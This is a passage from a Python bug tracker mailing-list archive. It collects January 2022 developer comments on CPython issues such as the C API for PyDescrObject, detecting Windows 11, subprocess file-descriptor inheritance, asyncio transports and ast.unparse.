<1643211795.52.0.512340269858.issue45703@roundup.psfhosted.org> Change by Petr Viktorin : ---------- pull_requests: +29101 pull_request: https://github.com/python/cpython/pull/30922 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 10:44:05 2022 From: report at bugs.python.org (Petr Viktorin) Date: Wed, 26 Jan 2022 15:44:05 +0000 Subject: [issue45703] importlib.invalidate_caches() does not invalidate _NamespacePath's _last_parent_path-based cache In-Reply-To: <1635938516.86.0.42328943914.issue45703@roundup.psfhosted.org> Message-ID: <1643211845.51.0.0684448572015.issue45703@roundup.psfhosted.org> Petr Viktorin added the comment: Embarassingly, it seems it bust needs regen-importlib, at least for 3.10 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 10:46:56 2022 From: report at bugs.python.org (Dong-hee Na) Date: Wed, 26 Jan 2022 15:46:56 +0000 Subject: [issue46527] enumerate no longer accepts iterable keyword argument In-Reply-To: <1643159696.56.0.981249049237.issue46527@roundup.psfhosted.org> Message-ID: <1643212016.15.0.916138540239.issue46527@roundup.psfhosted.org> Dong-hee Na added the comment: New changeset ac0c6e128cb6553585af096c851c488b53a6c952 by Jelle Zijlstra in branch 'main': bpo-46527: allow calling enumerate(iterable=...) again (GH-30904) https://github.com/python/cpython/commit/ac0c6e128cb6553585af096c851c488b53a6c952 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 10:47:40 2022 From: report at bugs.python.org (Dong-hee Na) Date: Wed, 26 Jan 2022 15:47:40 +0000 Subject: [issue46527] enumerate no longer accepts iterable keyword argument In-Reply-To: <1643159696.56.0.981249049237.issue46527@roundup.psfhosted.org> Message-ID: <1643212060.38.0.906718158034.issue46527@roundup.psfhosted.org> Dong-hee Na added the comment: So since no more regression is expected, I would like to propose merging the PR and once we need to change the implementation, we can revert Vectorcall anytime, Rollbacking Vectorcall will not raise any behavior regression so anytime we can rollback it. ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 10:47:55 2022 From: report at bugs.python.org (Eryk Sun) Date: Wed, 26 Jan 2022 15:47:55 +0000 Subject: [issue45382] platform() is not able to detect windows 11 In-Reply-To: <1633463037.19.0.965519087659.issue45382@roundup.psfhosted.org> Message-ID: <1643212075.95.0.367968558193.issue45382@roundup.psfhosted.org> Eryk Sun added the comment: > AFAIK, the Win32_OperatingSystem caption is always ASCII. I think I was wrong here. The "Caption" field is localized, so the wmic.exe OEM encoded output to a pipe isn't reliable. The system OEM code page doesn't necessarily match the display/preferred language of the current user. It could be a lossy encoding with default and best-fit translations (e.g. "?"; "?" -> "a"). If using wmic.exe, it's better to redirect the output to a temp file, which will be UTF-16. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 10:54:48 2022 From: report at bugs.python.org (Steve Dower) Date: Wed, 26 Jan 2022 15:54:48 +0000 Subject: [issue45382] platform() is not able to detect windows 11 In-Reply-To: <1643159878.27.0.265101022361.issue45382@roundup.psfhosted.org> Message-ID: Steve Dower added the comment: sys.getwindowsversion() is affected to Microsoft's minimal rebuilds of OS components causing core DLLs to have older versions than the release, and also to compatibility modes that may report earlier versions if API behaviour is being emulated. The best way for us to use WMI is to call it directly. There are native APIs to access it and retrieve the data directly. It's just nobody has written it yet. Calling out to Powershell needs to account for cases where Powershell is not present, is disabled/blocked/limited, or is a different version. We can rely on the native APIs (at least, if they fail, there's nothing better we could possibly have done). WMI is essentially the Windows equivalent of the platform module, so there's no reason all the APIs in platform.py shouldn't use it, and every reason that sys/os *shouldn't* use it. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 10:57:29 2022 From: report at bugs.python.org (Steve Dower) Date: Wed, 26 Jan 2022 15:57:29 +0000 Subject: [issue45382] platform() is not able to detect windows 11 In-Reply-To: <1643212075.95.0.367968558193.issue45382@roundup.psfhosted.org> Message-ID: Steve Dower added the comment: >> AFAIK, the Win32_OperatingSystem caption is always ASCII. > > I think I was wrong here. The "Caption" field is localized, so the wmic.exe OEM encoded output to a pipe isn't reliable. Correct. And while "Windows" itself is never translated, the caption may include terms that are translated (e.g., IIRC, the extra names for point-of-sales versions). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 11:02:45 2022 From: report at bugs.python.org (STINNER Victor) Date: Wed, 26 Jan 2022 16:02:45 +0000 Subject: [issue35134] Add a new Include/cpython/ subdirectory for the "CPython API" with implementation details In-Reply-To: <1541076409.33.0.788709270274.issue35134@psf.upfronthosting.co.za> Message-ID: <1643212965.43.0.0752057745552.issue35134@roundup.psfhosted.org> Change by STINNER Victor : ---------- pull_requests: +29102 pull_request: https://github.com/python/cpython/pull/30923 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 11:14:46 2022 From: report at bugs.python.org (STINNER Victor) Date: Wed, 26 Jan 2022 16:14:46 +0000 Subject: [issue46538] [C API] Make the PyDescrObject structure opaque Message-ID: <1643213686.79.0.673238991618.issue46538@roundup.psfhosted.org> New submission from STINNER Victor : While working on the PEP 674 implementation, I noticed that PyDescr_NAME() and PyDescr_TYPE() macros are used as l-value by two projects: M2Crypto and mecab-python3. Both are code generated by SWIG. M2Crypto-0.38.0/src/SWIG/_m2crypto_wrap.c and mecab-python3-1.0.4/src/MeCab/MeCab_wrap.cpp contain the function: SWIGINTERN PyGetSetDescrObject * SwigPyStaticVar_new_getset(PyTypeObject *type, PyGetSetDef *getset) { PyGetSetDescrObject *descr; descr = (PyGetSetDescrObject *)PyType_GenericAlloc(SwigPyStaticVar_Type(), 0); assert(descr); Py_XINCREF(type); PyDescr_TYPE(descr) = type; PyDescr_NAME(descr) = PyString_InternFromString(getset->name); descr->d_getset = getset; if (PyDescr_NAME(descr) == NULL) { Py_DECREF(descr); descr = NULL; } return descr; } ref: https://bugs.python.org/issue45476#msg407410 SwigPyStaticVar_new_getset() is more of less an outdated copy of Python 2.7 descr_copy() of Python Objects/descrobject.c. I tried to prevent using the PyDescr_NAME() and PyDescr_TYPE() macros as l-value in two ways: * Add PyDescr_SET_NAME() and PyDescr_SET_Type() * Add PyDescr_New() The problem of the PyDescr_SET_NAME() and PyDescr_SET_Type() approach is that SWIG code is outdated: it doesn't initialized the PyDescrObject.d_qualname member added to Python 3.3 (bpo-13577, commit 9d57481f043cb9b94bfc45c1ee041415d915cf8a). So I implemented PyDescr_New() function: in CPython, it means basically to rename descr_new() to PyDescr_New(). Problem: implementating this function for older Python versions is non trivial. Code that I wrote for the pythoncapi_compat project: // bpo-45476 added PyDescr_New() to Python 3.11.0a5 #if PY_VERSION_HEX < 0x030B00A5 PyDescrObject * PyDescr_New(PyTypeObject *descr_type, PyTypeObject *type, const char *name) { assert(descr_type != NULL); assert(type != NULL); assert(name != NULL); PyObject *name_obj; #if PY_MAJOR_VERSION >= 3 name_obj = PyUnicode_InternFromString(name); #else name_obj = PyString_InternFromString(name); #endif if (name_obj == NULL) { return NULL; } PyDescrObject *descr = (PyDescrObject *)PyType_GenericAlloc(descr_type, 0); if (descr == NULL) { Py_DECREF(name_obj); return NULL; } descr->d_type = (PyTypeObject*)Py_NewRef(type); descr->d_name = name_obj; // PyDescrObject.d_qualname was added to Python 3.3.0a1 #if PY_VERSION_HEX >= 0x030300A1 descr->d_qualname = NULL; #endif return descr; } #endif The even more complicated part is to write unit tests for this function in pythoncapi_compat. It requires to implement a whole type with tp_traverse tp_dealloc functions. In Python, this function must be at least documented. At the end, IMO it's not really worth it to add so much complexity to Python and pythoncapi_compat just for 2 projects using SWIG. I created this issue to keep a track of my analysis, if someone else tries to do something similar tomorrow. I attached my WIP patches to keep a copy of this work, in case if we need to revisit this idea later. For the PEP 674, IMO it's better to leave the two PyDescr_NAME() and PyDescr_TYPE() macros unchanged. There is no need in the short term to make PyDescrObject structure and structures using it opaque in the short term. Well, SWIG code looks incorrect (it doesn't initialize d_qualname), but a fix just for SWIG should be enough. ---------- components: C API messages: 411765 nosy: vstinner priority: normal severity: normal status: open title: [C API] Make the PyDescrObject structure opaque versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 11:15:15 2022 From: report at bugs.python.org (STINNER Victor) Date: Wed, 26 Jan 2022 16:15:15 +0000 Subject: [issue46538] [C API] Make the PyDescrObject structure opaque In-Reply-To: <1643213686.79.0.673238991618.issue46538@roundup.psfhosted.org> Message-ID: <1643213715.77.0.363544842842.issue46538@roundup.psfhosted.org> STINNER Victor added the comment: pydescr_set_type.patch: Python patch to add PyDescr_SET_TYPE() and PyDescr_SET_NAME() functions. ---------- keywords: +patch Added file: https://bugs.python.org/file50585/pydescr_set_type.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 11:17:05 2022 From: report at bugs.python.org (STINNER Victor) Date: Wed, 26 Jan 2022 16:17:05 +0000 Subject: [issue46538] [C API] Make the PyDescrObject structure opaque In-Reply-To: <1643213686.79.0.673238991618.issue46538@roundup.psfhosted.org> Message-ID: <1643213825.4.0.628910065948.issue46538@roundup.psfhosted.org> STINNER Victor added the comment: pydescr_new.patch: Python patch adding the PyDescr_New() function. ---------- Added file: https://bugs.python.org/file50586/pydescr_new.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 11:18:09 2022 From: report at bugs.python.org (STINNER Victor) Date: Wed, 26 Jan 2022 16:18:09 +0000 Subject: [issue46538] [C API] Make the PyDescrObject structure opaque In-Reply-To: <1643213686.79.0.673238991618.issue46538@roundup.psfhosted.org> Message-ID: <1643213889.44.0.359761500546.issue46538@roundup.psfhosted.org> STINNER Victor added the comment: pythoncapi_compat_pydescr_new.patch: pythoncapi_compat patch adding PyDescr_New() function with tests. ---------- Added file: https://bugs.python.org/file50587/pythoncapi_compat_pydescr_new.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 11:20:52 2022 From: report at bugs.python.org (STINNER Victor) Date: Wed, 26 Jan 2022 16:20:52 +0000 Subject: [issue46538] [C API] Make the PyDescrObject structure opaque In-Reply-To: <1643213686.79.0.673238991618.issue46538@roundup.psfhosted.org> Message-ID: <1643214052.48.0.282220299091.issue46538@roundup.psfhosted.org> STINNER Victor added the comment: swig_pydescr_new.patch: SWIG patch adding PyDescr_New() and using it. ---------- Added file: https://bugs.python.org/file50588/swig_pydescr_new.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 11:22:06 2022 From: report at bugs.python.org (STINNER Victor) Date: Wed, 26 Jan 2022 16:22:06 +0000 Subject: [issue46538] [C API] Make the PyDescrObject structure opaque In-Reply-To: <1643213686.79.0.673238991618.issue46538@roundup.psfhosted.org> Message-ID: <1643214126.89.0.451436325171.issue46538@roundup.psfhosted.org> Change by STINNER Victor : Removed file: https://bugs.python.org/file50588/swig_pydescr_new.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 11:22:15 2022 From: report at bugs.python.org (STINNER Victor) Date: Wed, 26 Jan 2022 16:22:15 +0000 Subject: [issue46538] [C API] Make the PyDescrObject structure opaque In-Reply-To: <1643213686.79.0.673238991618.issue46538@roundup.psfhosted.org> Message-ID: <1643214135.5.0.0302501464243.issue46538@roundup.psfhosted.org> Change by STINNER Victor : Added file: https://bugs.python.org/file50589/swig_pydescr_new.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 11:23:19 2022 From: report at bugs.python.org (STINNER Victor) Date: Wed, 26 Jan 2022 16:23:19 +0000 Subject: [issue46538] [C API] Make the PyDescrObject structure opaque In-Reply-To: <1643213686.79.0.673238991618.issue46538@roundup.psfhosted.org> Message-ID: <1643214199.55.0.520277158879.issue46538@roundup.psfhosted.org> STINNER Victor added the comment: Since making PyDescrObject opaque is not really worth it, I close this issue. I mean, it's worth it, but there are more important structures like PyObject, PyTypeObject or PyListObject. ---------- resolution: -> rejected stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 11:26:26 2022 From: report at bugs.python.org (Guido van Rossum) Date: Wed, 26 Jan 2022 16:26:26 +0000 Subject: [issue43853] [sqlite3] Improve sqlite3_value_text() error handling In-Reply-To: <1618480809.83.0.17163581819.issue43853@roundup.psfhosted.org> Message-ID: <1643214386.36.0.754481221916.issue43853@roundup.psfhosted.org> Guido van Rossum added the comment: New changeset 3eb3b4f270757f66c7fb6dcf5afa416ee1582a4b by Erlend Egeberg Aasland in branch 'main': bpo-43853: Expand test suite for SQLite UDF's (GH-27642) https://github.com/python/cpython/commit/3eb3b4f270757f66c7fb6dcf5afa416ee1582a4b ---------- nosy: +gvanrossum _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 11:32:56 2022 From: report at bugs.python.org (STINNER Victor) Date: Wed, 26 Jan 2022 16:32:56 +0000 Subject: [issue35134] Add a new Include/cpython/ subdirectory for the "CPython API" with implementation details In-Reply-To: <1541076409.33.0.788709270274.issue35134@psf.upfronthosting.co.za> Message-ID: <1643214776.72.0.833030626461.issue35134@roundup.psfhosted.org> STINNER Victor added the comment: New changeset d4a85f104bf9d2e368f25c9a567eaaa2cc39a96a by Victor Stinner in branch 'main': bpo-35134: Add Include/cpython/descrobject.h (GH-30923) https://github.com/python/cpython/commit/d4a85f104bf9d2e368f25c9a567eaaa2cc39a96a ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 11:34:02 2022 From: report at bugs.python.org (STINNER Victor) Date: Wed, 26 Jan 2022 16:34:02 +0000 Subject: [issue46538] [C API] Make the PyDescrObject structure opaque In-Reply-To: <1643213686.79.0.673238991618.issue46538@roundup.psfhosted.org> Message-ID: <1643214842.13.0.886530121653.issue46538@roundup.psfhosted.org> STINNER Victor added the comment: > The problem of the PyDescr_SET_NAME() and PyDescr_SET_Type() approach is that SWIG code is outdated: it doesn't initialized the PyDescrObject.d_qualname member added to Python 3.3 (bpo-13577, commit 9d57481f043cb9b94bfc45c1ee041415d915cf8a). I checked: Oh, in practice, it's not an issue since PyType_GenericAlloc() initializes the memory to zero. So the code "just works". ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 11:35:59 2022 From: report at bugs.python.org (STINNER Victor) Date: Wed, 26 Jan 2022 16:35:59 +0000 Subject: [issue46538] [C API] Make the PyDescrObject structure opaque: PyDescr_NAME() and PyDescr_TYPE() In-Reply-To: <1643213686.79.0.673238991618.issue46538@roundup.psfhosted.org> Message-ID: <1643214959.57.0.630132663101.issue46538@roundup.psfhosted.org> Change by STINNER Victor : ---------- title: [C API] Make the PyDescrObject structure opaque -> [C API] Make the PyDescrObject structure opaque: PyDescr_NAME() and PyDescr_TYPE() _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 11:37:19 2022 From: report at bugs.python.org (STINNER Victor) Date: Wed, 26 Jan 2022 16:37:19 +0000 Subject: [issue45476] [C API] PEP 674: Disallow using macros as l-value In-Reply-To: <1634246251.33.0.982878943146.issue45476@roundup.psfhosted.org> Message-ID: <1643215039.12.0.526751645363.issue45476@roundup.psfhosted.org> STINNER Victor added the comment: > In the PyPI top 5000, I found two projects using PyDescr_TYPE() and PyDescr_NAME() as l-value: M2Crypto and mecab-python3. In both cases, it was code generated by SWIG I created bpo-46538 "[C API] Make the PyDescrObject structure opaque" to handle PyDescr_NAME() and PyDescr_TYPE() macros. But IMO it's not really worth it to make the PyDescrObject structure opaque. It's just too much work, whereas PyDescrObject is not performance sensitive. It's ok to continue exposing this structure in public for now. I will exclude PyDescr_NAME() and PyDescr_TYPE() from the PEP 674. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 11:51:15 2022 From: report at bugs.python.org (Martin Forster) Date: Wed, 26 Jan 2022 16:51:15 +0000 Subject: [issue46537] zipfile crash on windows, detected during pip install pyodbc-4.0.32-cp310-cp310-win_amd64.whl In-Reply-To: <1643206492.89.0.988860575159.issue46537@roundup.psfhosted.org> Message-ID: <1643215875.81.0.0657181648301.issue46537@roundup.psfhosted.org> Martin Forster added the comment: The wheel file was corrupt, due to git taking care of "CRLF/LF" conversion. Sorry for the fuss ---------- resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 11:54:11 2022 From: report at bugs.python.org (Eryk Sun) Date: Wed, 26 Jan 2022 16:54:11 +0000 Subject: [issue46454] '0 -> /dev/null' is lost In-Reply-To: <1642766153.46.0.556791990474.issue46454@roundup.psfhosted.org> Message-ID: <1643216051.95.0.0859392494839.issue46454@roundup.psfhosted.org> Eryk Sun added the comment: > stdin is closed > os.open() is called and creates a new fd=0 > a call to os.dup2(fd, 0) is made but is a noop The dup2() silent noop case is a problem, but not the problem that's reported in msg411113. The two examples for this issue are fd.py and fd2.py. In fd.py, "/dev/null" is opened, and then, if the fd isn't 0, the fd is duped to inheritable fd 0. In fd2.py, fd 0 is closed, and then "/dev/null" is opened as fd 0, which isn't inheritable in Python 3. I think the only problems regarding fd2.py are cross-platform inconsistency and/or documentation. If a similar example is tested in Windows it actually works, assuming os.devnull is used and that "sleep.exe" is available (e.g. from MSYS2). The child's stdin will be the same file as the parent's stdin. In regard to the standard files, the subprocess documentation states the following: With the default settings of None, no redirection will occur; the child?s file handles will be inherited from the parent. If close_fds is true, all file descriptors except 0, 1 and 2 will be closed before the child process is executed. The above applies only to POSIX. It's not wrong in that case, but it should be emphasized that any of the standard file descriptors that's not overridden has to be inheritable in POSIX. Also, if overriding to a specific file, the file descriptor must be inheritable in POSIX. By default, file descriptors for opened files are not inheritable, so the subprocess documentation should reference os.set_inheritable(). For Windows it says the following: if close_fds is true then no handles will be inherited by the child process unless explicitly passed in the handle_list element of STARTUPINFO.lpAttributeList, or by standard handle redirection. That's mostly right, except the last part about standard handle redirection is vague. If close_fds is true, none of the standard handles of the current process is ever inherited in Windows. They could be in principle, but subprocess wasn't designed that way. When close_fds is true, and the standard handles aren't overridden, subprocess relies on the OS to duplicate (not inherit) the standard handles to the child when spawning a console application (e.g. "python.exe", but not "pythonw.exe"). If at least one is overridden, subprocess duplicates all three as inheritable handles via _make_inheritable(). (This is a choice. It doesn't have to do this. It could simply ensure that its own pipe/null files are inheritable.) Thus, when close_fds is true it never matters whether the current standard handles are inheritable, or whether a specified override is inheritable. This behavior is in stark contrast to how subprocess works in POSIX. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 12:03:13 2022 From: report at bugs.python.org (Andrew Svetlov) Date: Wed, 26 Jan 2022 17:03:13 +0000 Subject: [issue46487] `_SSLProtocolTransport` doesn't have the `get_write_buffer_limits` implementation. In-Reply-To: <1642956579.88.0.874451356364.issue46487@roundup.psfhosted.org> Message-ID: <1643216593.34.0.088898330656.issue46487@roundup.psfhosted.org> Andrew Svetlov added the comment: Technically it should not provide the method according to the current design. get_write_buffer_limits() is not a part of public transports API, this method is defined by private class _FlowControlMixin only. WriteTransport requires only get_write_buffer_size() and set_write_buffer_limits() *setter* but not get_write_buffer_limits() getter. I agree, looks weird. The best solution maybe is adding get_write_buffer_limits() to WriteTransport definition and documenting the change. Would you prepare a pull request? I'm happy to review/merge it. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 12:04:27 2022 From: report at bugs.python.org (Andrew Svetlov) Date: Wed, 26 Jan 2022 17:04:27 +0000 Subject: [issue46487] `_SSLProtocolTransport` doesn't have the `get_write_buffer_limits` implementation. In-Reply-To: <1642956579.88.0.874451356364.issue46487@roundup.psfhosted.org> Message-ID: <1643216667.68.0.276228628926.issue46487@roundup.psfhosted.org> Andrew Svetlov added the comment: Forgot to write, after making the method public we can implement it in SSL transport easily. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 12:06:14 2022 From: report at bugs.python.org (epiphyte) Date: Wed, 26 Jan 2022 17:06:14 +0000 Subject: [issue34680] asyncio event_loop fails when accessed from multiple threads In-Reply-To: <1536939208.48.0.956365154283.issue34680@psf.upfronthosting.co.za> Message-ID: <1643216774.18.0.542787445351.issue34680@roundup.psfhosted.org> epiphyte added the comment: For additional context, this was encountered when porting an application from threading to asyncio, and at the time we were still running the ioloop in its own thread as opposed to the mainthread. We no longer do that :D Updating the documentation to clarify that the loop won't work across threads, like what we ran into at the time, would resolve this. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 12:06:51 2022 From: report at bugs.python.org (Kodiologist) Date: Wed, 26 Jan 2022 17:06:51 +0000 Subject: [issue46520] `ast.unparse` produces syntactically illegal code for identifiers that look like reserved words In-Reply-To: <1643123177.1.0.632269925829.issue46520@roundup.psfhosted.org> Message-ID: <1643216811.33.0.691273863725.issue46520@roundup.psfhosted.org> Kodiologist added the comment: I've done very little work on CPython, but I do a lot of AST construction and call `ast.unparse` a lot in my work on Hylang, and I think this is a wart worth fixing. The real mistake was letting the user say `??? = 1`, but that's been legal Python syntax for a long time, so I doubt a change to that would be welcome, especially one affecting old stable versions of Python like 3.9. Python has made its bed and now it must lie in it. I think that with a pretty small amount of code (using code-point arithmetic instead of a dictionary with every ASCII letter), I can add Unicode "escaping" of reserved words to the part of `ast.unparse` that renders variable names. Would a patch of this kind be welcome? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 12:09:05 2022 From: report at bugs.python.org (Kodiologist) Date: Wed, 26 Jan 2022 17:09:05 +0000 Subject: [issue46520] `ast.unparse` produces syntactically illegal code for identifiers that look like reserved words In-Reply-To: <1643123177.1.0.632269925829.issue46520@roundup.psfhosted.org> Message-ID: <1643216945.02.0.859801338107.issue46520@roundup.psfhosted.org> Kodiologist added the comment: And yes, while this behavior will look strange, the only code that will parse to AST nodes that require it will be code that uses exactly the same trick. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 12:29:36 2022 From: report at bugs.python.org (STINNER Victor) Date: Wed, 26 Jan 2022 17:29:36 +0000 Subject: [issue43908] array.array should remain immutable: add Py_TPFLAGS_IMMUTABLETYPE flag In-Reply-To: <1619031139.87.0.55032170532.issue43908@roundup.psfhosted.org> Message-ID: <1643218176.14.0.995284524236.issue43908@roundup.psfhosted.org> STINNER Victor added the comment: > Should the immutable flag also be applied to the heap types converted in and before Python 3.9 before closing this issue? I don't think that Python 3.9 should be changed. It's too late. IMO this issue is not important enough to introduce a new type flag in a minor Python 3.9.x bugfix release. I suggest to close this issue. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 12:31:10 2022 From: report at bugs.python.org (Andrew Svetlov) Date: Wed, 26 Jan 2022 17:31:10 +0000 Subject: [issue34680] asyncio event_loop fails when accessed from multiple threads In-Reply-To: <1536939208.48.0.956365154283.issue34680@psf.upfronthosting.co.za> Message-ID: <1643218270.28.0.998679912778.issue34680@roundup.psfhosted.org> Andrew Svetlov added the comment: Please feel free to propose pull request for documentation tuning. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 12:39:44 2022 From: report at bugs.python.org (STINNER Victor) Date: Wed, 26 Jan 2022 17:39:44 +0000 Subject: [issue43908] array.array should remain immutable: add Py_TPFLAGS_IMMUTABLETYPE flag In-Reply-To: <1619031139.87.0.55032170532.issue43908@roundup.psfhosted.org> Message-ID: <1643218784.79.0.615698190544.issue43908@roundup.psfhosted.org> STINNER Victor added the comment: In Python 3.11, 68 heap types have the Py_TPFLAGS_IMMUTABLETYPE flag: * _blake2.blake2b * _blake2.blake2s * _bz2.BZ2Compressor * _bz2.BZ2Decompressor * _csv.Dialect * _csv.reader * _csv.writer * _dbm.dbm * _gdbm.gdbm * _hashlib.HASH * _hashlib.HASHXOF * _hashlib.HMAC * _lsprof.Profiler * _lzma.LZMACompressor * _lzma.LZMADecompressor * _md5.md5 * _multibytecodec.MultibyteCodec * _multibytecodec.MultibyteIncrementalDecoder * _multibytecodec.MultibyteIncrementalEncoder * _multibytecodec.MultibyteStreamReader * _multibytecodec.MultibyteStreamWriter * _overlapped.Overlapped * _queue.SimpleQueue * _sha1.sha1 * _sha256.sha224 * _sha256.sha256 * _sha3.keccak_224 * _sha3.keccak_256 * _sha3.keccak_384 * _sha3.keccak_512 * _sha3.sha3_224 * _sha3.sha3_256 * _sha3.sha3_384 * _sha3.sha3_512 * _sha512.sha384 * _sha512.sha512 * _sre.SRE_Scanner * _ssl.Certificate * _ssl.MemoryBIO * _ssl.SSLSession * _ssl._SSLContext * _ssl._SSLSocket * ssl.SSLError * _thread.RLock * _thread._local * _thread._localdummy * _thread.lock * _tokenize.TokenizerIter * _winapi.Overlapped * array.array * array.arrayiterator * functools.KeyWrapper * functools._lru_cache_wrapper * functools._lru_list_elem * functools.partial * mmap.mmap * operator.attrgetter * operator.itemgetter * operator.methodcaller * pyexpat.xmlparser * re.Match * re.Pattern * sqlite3.Connection * sqlite3.Cursor * sqlite3.PrepareProtocol * sqlite3.Row * sqlite3.Statement * unicodedata.UCD ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 12:40:02 2022 From: report at bugs.python.org (Brandt Bucher) Date: Wed, 26 Jan 2022 17:40:02 +0000 Subject: [issue46465] Regression caused by CALL_FUNCTION specialization for C function calls In-Reply-To: <1642815009.1.0.251080855194.issue46465@roundup.psfhosted.org> Message-ID: <1643218802.61.0.841945950311.issue46465@roundup.psfhosted.org> Change by Brandt Bucher : ---------- nosy: +brandtbucher _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 12:42:04 2022 From: report at bugs.python.org (Dong-hee Na) Date: Wed, 26 Jan 2022 17:42:04 +0000 Subject: [issue42926] Split compiler into code-gen, optimizer and assembler. In-Reply-To: <1610550204.0.0.923150494092.issue42926@roundup.psfhosted.org> Message-ID: <1643218924.25.0.485860109513.issue42926@roundup.psfhosted.org> Change by Dong-hee Na : ---------- nosy: +corona10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 12:51:14 2022 From: report at bugs.python.org (STINNER Victor) Date: Wed, 26 Jan 2022 17:51:14 +0000 Subject: [issue43916] Mark static types newly converted to heap types as immutable: add Py_TPFLAGS_DISALLOW_INSTANTIATION type flag In-Reply-To: <1619127118.97.0.615486795072.issue43916@roundup.psfhosted.org> Message-ID: <1643219474.13.0.463114610718.issue43916@roundup.psfhosted.org> STINNER Victor added the comment: In Python 3.11, 41 types are declared explicitly with the Py_TPFLAGS_DISALLOW_INSTANTIATION flag: * _curses_panel.panel * _dbm.dbm * _gdbm.gdbm * _hashlib.HASH * _hashlib.HASHXOF * _hashlib.HMAC * _md5.md5 * _multibytecodec.MultibyteCodec * _sha1.sha1 * _sha256.sha224 * _sha256.sha256 * _sha512.sha384 * _sha512.sha512 * _sre.SRE_Scanner * _ssl.Certificate * _thread._localdummy * _thread.lock * _tkinter.Tcl_Obj * _tkinter.tkapp * _tkinter.tktimertoken * _winapi.Overlapped * _xxsubinterpreters.ChannelID * array.arrayiterator * curses.ncurses_version * functools.KeyWrapper * functools._lru_list_elem * os.DirEntry * os.ScandirIterator * pyexpat.xmlparser * re.Match * re.Pattern * select.devpoll * select.poll * sqlite3.Statement * stderrprinter * sys.flags * sys.getwindowsversion * sys.version_info * unicodedata.UCD * zlib.Compress * zlib.Decompress ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 13:01:28 2022 From: report at bugs.python.org (STINNER Victor) Date: Wed, 26 Jan 2022 18:01:28 +0000 Subject: [issue43916] Mark static types newly converted to heap types as immutable: add Py_TPFLAGS_DISALLOW_INSTANTIATION type flag In-Reply-To: <1619127118.97.0.615486795072.issue43916@roundup.psfhosted.org> Message-ID: <1643220088.36.0.421218040944.issue43916@roundup.psfhosted.org> STINNER Victor added the comment: Can we close this issue? Or is there a remaining task? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 13:05:42 2022 From: report at bugs.python.org (Gobot1234) Date: Wed, 26 Jan 2022 18:05:42 +0000 Subject: [issue46534] Implementing PEP 673 (Self type) In-Reply-To: <1643194672.13.0.506968505606.issue46534@roundup.psfhosted.org> Message-ID: <1643220342.0.0.0511808576459.issue46534@roundup.psfhosted.org> Change by Gobot1234 : ---------- keywords: +patch pull_requests: +29103 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30924 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 13:08:32 2022 From: report at bugs.python.org (Brandt Bucher) Date: Wed, 26 Jan 2022 18:08:32 +0000 Subject: [issue33205] GROWTH_RATE prevents dict shrinking In-Reply-To: <1522670151.04.0.467229070634.issue33205@psf.upfronthosting.co.za> Message-ID: <1643220512.28.0.897057539989.issue33205@roundup.psfhosted.org> Change by Brandt Bucher : ---------- nosy: +brandtbucher _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 13:08:42 2022 From: report at bugs.python.org (Brandt Bucher) Date: Wed, 26 Jan 2022 18:08:42 +0000 Subject: [issue42926] Split compiler into code-gen, optimizer and assembler. In-Reply-To: <1610550204.0.0.923150494092.issue42926@roundup.psfhosted.org> Message-ID: <1643220522.68.0.984332348641.issue42926@roundup.psfhosted.org> Change by Brandt Bucher : ---------- nosy: +brandtbucher _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 13:26:39 2022 From: report at bugs.python.org (Irit Katriel) Date: Wed, 26 Jan 2022 18:26:39 +0000 Subject: [issue42926] Split compiler into code-gen, optimizer and assembler. In-Reply-To: <1610550204.0.0.923150494092.issue42926@roundup.psfhosted.org> Message-ID: <1643221599.6.0.0358703628354.issue42926@roundup.psfhosted.org> Change 